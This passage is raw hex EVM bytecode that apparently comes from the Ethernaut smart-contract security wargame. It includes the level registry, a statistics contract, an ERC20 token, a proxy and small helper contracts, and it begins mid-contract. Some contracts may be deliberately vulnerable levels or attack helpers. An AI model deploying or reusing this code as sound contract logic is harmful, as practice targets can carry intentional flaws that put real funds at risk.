812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033a2646970667358221220876b7f99b0c949d06cde10dcf7350cf2b11bdd63a80ea60ba6e1686587d5c84b64736f6c63430008170033608060405234801562000010575f80fd5b5060405162000c3838038062000c3883398101604081905262000033916200011a565b60036200004183826200020a565b5060046200005082826200020a565b505050620002d6565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200007d575f80fd5b81516001600160401b03808211156200009a576200009a62000059565b604051601f8301601f19908116603f01168101908282118183101715620000c557620000c562000059565b8160405283815260209250866020858801011115620000e2575f80fd5b5f91505b83821015620001055785820183015181830184015290820190620000e6565b5f602085830101528094505050505092915050565b5f80604083850312156200012c575f80fd5b82516001600160401b038082111562000143575f80fd5b62000151868387016200006d565b9350602085015191508082111562000167575f80fd5b5062000176858286016200006d565b9150509250929050565b600181811c908216806200019557607f821691505b602082108103620001b457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200020557805f5260205f20601f840160051c81016020851015620001e15750805b601f840160051c820191505b8181101562000202575f8155600101620001ed565b50505b505050565b81516001600160401b0381111562000226576200022662000059565b6200023e8162000237845462000180565b84620001ba565b602080601f83116001811462000274575f84156200025c5750858301515b5f19600386901b1c1916600185901b178555620002ce565b5f85815260208120601f198616915b82811015620002a45788860151825594840194600190910190840162000283565b5085821015620002c257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b61095480620002e45f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063395093511161007d578063a457c2d711610058578063a457c2d714610180578063a9059cbb14610193578063dd62ed3e146101a6575f80fd5b8063395093511461013d57806370a082311461015057806395d89b4114610178575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101de565b6040516100dd91906107ae565b60405180910390f35b6100f96100f4366004610815565b61026e565b60405190151581526020016100dd565b6002545b6040519081526020016100dd565b6100f961012936600461083d565b610287565b604051601281526020016100dd565b6100f961014b366004610815565b6102aa565b61010d61015e366004610876565b6001600160a01b03165f9081526020819052604090205490565b6100d06102e8565b6100f961018e366004610815565b6102f7565b6100f96101a1366004610815565b6103a5565b61010d6101b4366004610896565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ed906108c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610219906108c7565b80156102645780601f1061023b57610100808354040283529160200191610264565b820191905f5260205f20905b81548152906001019060200180831161024757829003601f168201915b5050505050905090565b5f3361027b8185856103b2565b60019150505b92915050565b5f33610294858285610509565b61029f858585610599565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061027b90829086906102e39087906108ff565b6103b2565b6060600480546101ed906108c7565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61029f82868684036103b2565b5f3361027b818585610599565b6001600160a01b03831661042d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166104a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461059357818110156105865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161038f565b61059384848484036103b2565b50505050565b6001600160a01b0383166106155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0383165f908152602081905260409020548181101561071f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107559084906108ff565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a3610593565b5f602080835283518060208501525f5b818110156107da578581018301518582016040015282016107be565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610810575f80fd5b919050565b5f8060408385031215610826575f80fd5b61082f836107fa565b946020939093013593505050565b5f805f6060848603121561084f575f80fd5b610858846107fa565b9250610866602085016107fa565b9150604084013590509250925092565b5f60208284031215610886575f80fd5b61088f826107fa565b9392505050565b5f80604083850312156108a7575f80fd5b6108b0836107fa565b91506108be602084016107fa565b90509250929050565b600181811c908216806108db57607f821691505b6020821081036108f957634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561028157634e487b7160e01b5f52601160045260245ffdfea26469706673582212207a4af11b318fef9e166e152b30c3ea9d2f9a2d7d60ca7c57862996f73673d31e64736f6c63430008170033608060405234801561000f575f80fd5b5060fc8061001c5f395ff3fe608060405260043610601b575f3560e01c8063d018db3e14601f575b5f80fd5b602e602a366004608e565b6030565b005b8073ffffffffffffffffffffffffffffffffffffffff166378e7ed2f346040518263ffffffff1660e01b81526004015f604051808303818588803b1580156075575f80fd5b505af11580156086573d5f803e3d5ffd5b505050505050565b5f60208284031215609d575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460bf575f80fd5b939250505056fea2646970667358221220525455ac5f2f263ad4826a52c4a5173bb6ac4f95a8dfd228b3a1bf0ef808ec7e64736f6c63430008170033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f5443565c4ba10a4bf5f5394a082b6c9adcbf2618921aca0a87f7057fd36716264736f6c63430008170033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122061868b949afcaa75d3f5bdb2ddd8449d9dc99cfc3848c2d167231af918471b2c64736f6c63430008170033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f8251